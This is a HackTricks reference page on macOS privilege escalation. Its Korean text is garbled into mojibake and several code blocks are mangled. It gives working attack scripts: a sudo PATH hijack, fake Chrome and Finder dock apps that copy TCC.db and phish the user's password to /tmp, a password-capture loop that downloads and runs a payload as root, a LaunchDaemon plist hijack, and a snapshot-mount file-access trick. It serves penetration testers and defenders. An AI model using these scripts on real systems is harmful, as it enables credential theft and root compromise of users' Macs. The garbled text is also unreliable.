macOS Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
TCC Privilege Escalation
If you came here looking for TCC privilege escalation go to:
Linux Privesc
์ฐธ๊ณ : most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS ์์คํ ์๋ ์ํฅ์ ์ค๋๋ค. ๋ค์์ ์ฐธ์กฐํ์ธ์:
์ฌ์ฉ์ ์ํธ์์ฉ
Sudo Hijacking
์๋ณธ Sudo Hijacking technique inside the Linux Privilege Escalation post๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ macOS๋ ์ฌ์ฉ์๊ฐ **sudo**๋ฅผ ์คํํ ๋ ์ฌ์ฉ์์ **PATH**๋ฅผ ์ ์งํฉ๋๋ค. ์ด๋ ์ด ๊ณต๊ฒฉ์ ๋ฌ์ฑํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ํผํด์๊ฐ running sudoํ ๋ ์คํํ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ฅผ hijack other binariesํ๋ ๊ฒ์์ ์๋ฏธํฉ๋๋ค:
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
Note that a user that uses the terminal will highly probable have Homebrew installed. So itโs possible to hijack binaries in /opt/homebrew/bin.
Dock ์ฌ์นญ
Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:
๋ช ๊ฐ์ง ์ ์:
- Dock์์ Chrome์ด ์๋์ง ํ์ธํ๊ณ , ์๋ ๊ฒฝ์ฐ ํด๋น ํญ๋ชฉ์ ์ ๊ฑฐํ ํ Dock ๋ฐฐ์ด์ ๋์ผํ ์์น์ ๊ฐ์ง Chrome ํญ๋ชฉ์ ์ถ๊ฐํ์ธ์.
Chrome Dock ์ฌ์นญ ์คํฌ๋ฆฝํธ
```bash #!/bin/shTHIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
If you want to removed granted TCC permissions: > delete from access where client LIKE โ%Chrome%โ;
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<โEOFโ #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main() { char *cmd = โopen /Applications/Google\\ Chrome.app & โ โsleep 2; โ โosascript -e โtell application "Finder"โ -e โset homeFolder to path to home folder as stringโ -e โset sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as aliasโ -e โset targetFolder to POSIX file "/tmp" as aliasโ -e โduplicate file sourceFile to targetFolder with replacingโ -e โend tellโ; โ โPASSWORD=$(osascript -e โTell application "Finder"โ -e โActivateโ -e โset userPassword to text returned of (display dialog "Enter your password to update Google Chrome:" default answer "" with hidden answer buttons {"OK"} default button 1 with icon file "Applications:Google Chrome.app:Contents:Resources:app.icns")โ -e โend tellโ -e โreturn userPasswordโ); โ โecho $PASSWORD > /tmp/passwd.txtโ; system(cmd); return 0; } EOF
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
Info.plist
cat << โEOFโ > /tmp/Google\ Chrome.app/Contents/Info.plist
Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
Add to Dock
defaults write com.apple.dock persistent-apps -array-add โ
</details>
{{#endtab}}
{{#tab name="Finder Impersonation"}}
๋ช ๊ฐ์ง ์ ์:
- Finder๋ **Dock์์ ์ ๊ฑฐํ ์ ์์ต๋๋ค**, ๋ฐ๋ผ์ Dock์ ์ถ๊ฐํ๋ ค๋ฉด ๊ฐ์ง Finder๋ฅผ ์ค์ Finder ๋ฐ๋ก ์์ ๋ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด์๋ **Dock ๋ฐฐ์ด์ ๋งจ ์์ ๊ฐ์ง Finder ํญ๋ชฉ์ ์ถ๊ฐ**ํด์ผ ํฉ๋๋ค.
- ๋ค๋ฅธ ์ต์
์ Dock์ ์ถ๊ฐํ์ง ์๊ณ ๊ทธ๋ฅ ์ด๊ธฐ์
๋๋ค. "Finder๊ฐ Finder๋ฅผ ์ ์ดํ๋ ค๊ณ ํฉ๋๋ค"์ ๊ฐ์ ๋ฉ์์ง๋ ๊ทธ๋ฆฌ ์ด์ํ์ง ์์ต๋๋ค.
- ๋ ๋ค๋ฅธ ์ต์
์ ๋์ฐํ ์ธ์ฆ ์ฐฝ ์์ด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌป์ง ์๊ณ **escalate to root without asking** ํ๋ ๊ฒ์ด ์๋๋ผ, Finder๊ฐ ๊ถํ์ด ํ์ํ ์์
์ ์ํํ ๋ ์ค์ ๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌป๋๋ก ๋ง๋๋ ๊ฒ์
๋๋ค:
- Finder์๊ฒ **`/etc/pam.d`**์ ์๋ก์ด **`sudo`** ํ์ผ์ ๋ณต์ฌํ๋๋ก ์์ฒญํ์ธ์ (๋น๋ฐ๋ฒํธ ์
๋ ฅ์ ์๊ตฌํ๋ ํ๋กฌํํธ์๋ "Finder wants to copy sudo"๋ผ๊ณ ํ์๋ฉ๋๋ค)
- Finder์๊ฒ ์๋ก์ด **Authorization Plugin**์ ๋ณต์ฌํ๋๋ก ์์ฒญํ์ธ์ (ํ์ผ ์ด๋ฆ์ ์ ์ดํ๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌป๋ ํ๋กฌํํธ์ "Finder wants to copy Finder.bundle"์ด๋ผ๊ณ ํ์๋๊ฒ ํ ์ ์์ต๋๋ค)
<details>
<summary>Finder Dock ์ฌ์นญ ์คํฌ๋ฆฝํธ</summary>
```bash
#!/bin/sh
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
rm -rf /tmp/Finder.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources
# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo $PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
# Info.plist
cat << 'EOF' > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
Password prompt phishing + sudo reuse
๋ฉ์จ์ด๋ ์ข ์ข ์ฌ์ฉ์ ์ํธ์์ฉ์ ์ ์ฉํ์ฌ sudo-capable password๋ฅผ ์บก์ฒํ๊ณ ํ๋ก๊ทธ๋๋ฐ์ ์ผ๋ก ์ฌ์ฌ์ฉํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ํ๋ฆ:
- ๋ก๊ทธ์ธํ ์ฌ์ฉ์๋ฅผ
whoami๋ก ํ์ธํฉ๋๋ค. - Loop password prompts โ
dscl . -authonly "$user" "$pw"๊ฐ ์ฑ๊ณต์ ๋ฐํํ ๋๊น์ง ๋ฐ๋ณตํฉ๋๋ค. - ์๊ฒฉ ์ฆ๋ช
(์:
/tmp/.pass)์ ์บ์ํ๊ณsudo -S(password over stdin)๋ฅผ ์ฌ์ฉํด ๊ถํ ์๋ ์์ ์ ์ํํฉ๋๋ค.
Example minimal chain:
user=$(whoami)
while true; do
read -s -p "Password: " pw; echo
dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
ํ์ทจํ ๋น๋ฐ๋ฒํธ๋ ์ดํ ์ฌ์ฌ์ฉ๋์ด clear Gatekeeper quarantine with xattr -c, LaunchDaemons ๋๋ ๊ธฐํ ๊ถํ์ด ํ์ํ ํ์ผ์ ๋ณต์ฌํ๊ณ ์ถ๊ฐ ๋จ๊ณ๋ฅผ ๋น๋ํ์์ผ๋ก ์คํํ ์ ์์ต๋๋ค.
์ต์ macOS ํน์ ๋ฒกํฐ (2023โ2025)
๋ ์ด์ ๊ถ์ฅ๋์ง ์๋ AuthorizationExecuteWithPrivileges๋ ์ฌ์ ํ ์ฌ์ฉ ๊ฐ๋ฅ
AuthorizationExecuteWithPrivileges๋ 10.7์์ ๋ ์ด์ ๊ถ์ฅ๋์ง ์์์ง๋ง Sonoma/Sequoia์์ ์ฌ์ ํ ์๋ํฉ๋๋ค. ๋ง์ ์์ฉ ์
๋ฐ์ดํธ ํ๋ก๊ทธ๋จ์ด /usr/libexec/security_authtrampoline์(๋ฅผ) ์ ๋ขฐํ ์ ์๋ ๊ฒฝ๋ก์ ํจ๊ป ํธ์ถํฉ๋๋ค. ๋์ ๋ฐ์ด๋๋ฆฌ๊ฐ user-writable์ธ ๊ฒฝ์ฐ trojan์ ์ฌ๊ณ ์ ๋นํ ํ๋กฌํํธ๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค:
# find vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'
# replace expected helper
cp /tmp/payload /Users/me/Library/Application\ Support/Target/helper
chmod +x /Users/me/Library/Application\ Support/Target/helper
# when the app updates, the root prompt spawns your payload
์ ๋ขฐํ ์ ์๋ ์ํธ ์ ๋ ฅ ์ฐฝ์ ํ์ํ๋ ค๋ฉด masquerading tricks above์ ๊ฒฐํฉํ์ธ์.
LaunchDaemon plist hijack (CVE-2025-24085 pattern)
LaunchDaemon plist ๋๋ ๊ทธ ProgramArguments ๋์์ด user-writable์ด๋ฉด, ์ด๋ฅผ ๊ต์ฒดํ ๋ค์ launchd๊ฐ ๋ค์ ๋ก๋ํ๋๋ก ๊ฐ์ ํ์ฌ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค:
sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor
cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.securemonitor</string>
<key>ProgramArguments</key>
<array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>
PLIST
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist
This mirrors the exploit pattern published for CVE-2025-24085, where a writable plist was abused to execute attacker code as root.
XNU SMR credential race (CVE-2025-24118)
A race in kauth_cred_proc_update lets a local attacker corrupt the read-only credential pointer (proc_ro.p_ucred) by racing setgid()/getgid() loops across threads until a torn memcpy occurs. Successful corruption yields uid 0 and kernel memory access. Minimal PoC structure:
// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();
Couple with heap grooming to land controlled data where the pointer re-reads. On vulnerable builds this is a reliable local kernel privesc without SIP bypass requirements.
SIP bypass via Migration assistant (โMigraineโ, CVE-2023-32369)
If you already have root, SIP still blocks writes to system locations. The Migraine bug abuses the Migration Assistant entitlement com.apple.rootless.install.heritable to spawn a child process that inherits SIP bypass and overwrites protected paths (e.g., /System/Library/LaunchDaemons). The chain:
- Obtain root on a live system.
- Trigger
systemmigrationdwith crafted state to run an attacker-controlled binary. - Use inherited entitlement to patch SIP-protected files, persisting even after reboot.
NSPredicate/XPC expression smuggling (CVE-2023-23530/23531 bug class)
Multiple Apple daemons accept NSPredicate objects over XPC and only validate the expressionType field, which is attacker-controlled. By crafting a predicate that evaluates arbitrary selectors you can achieve code execution in root/system XPC services (e.g., coreduetd, contextstored). When combined with an initial app sandbox escape, this grants privilege escalation without user prompts. Look for XPC endpoints that deserialize predicates and lack a robust visitor.
TCC - Root Privilege Escalation
CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
Any user (even unprivileged ones) can create and mount a time machine snapshot an access ALL the files of that snapshot.
The only privileged needed is for the application used (like Terminal) to have Full Disk Access (FDA) access (kTCCServiceSystemPolicyAllfiles) which need to be granted by an admin.
Time Machine ์ค๋ ์ท ๋ง์ดํธ
```bash # Create snapshot tmutil localsnapshotList snapshots
tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local
Generate folder to mount it
cd /tmp # I didn it from this folder mkdir /tmp/snap
Mount it, โnoownersโ will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
Access it
ls /tmp/snap/Users/admin_user # This will work
</details>
๋ ์์ธํ ์ค๋ช
์ [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## ๋ฏผ๊ฐํ ์ ๋ณด
์ด๋ ๊ถํ ์์น์ ์ ์ฉํ ์ ์์ต๋๋ค:
<a class="content_ref" href="macos-files-folders-and-binaries/macos-sensitive-locations.md"><span class="content_ref_label">macOS Sensitive Locations & Interesting Daemons</span></a>
## ์ฐธ๊ณ ์๋ฃ
- [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/)
- [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


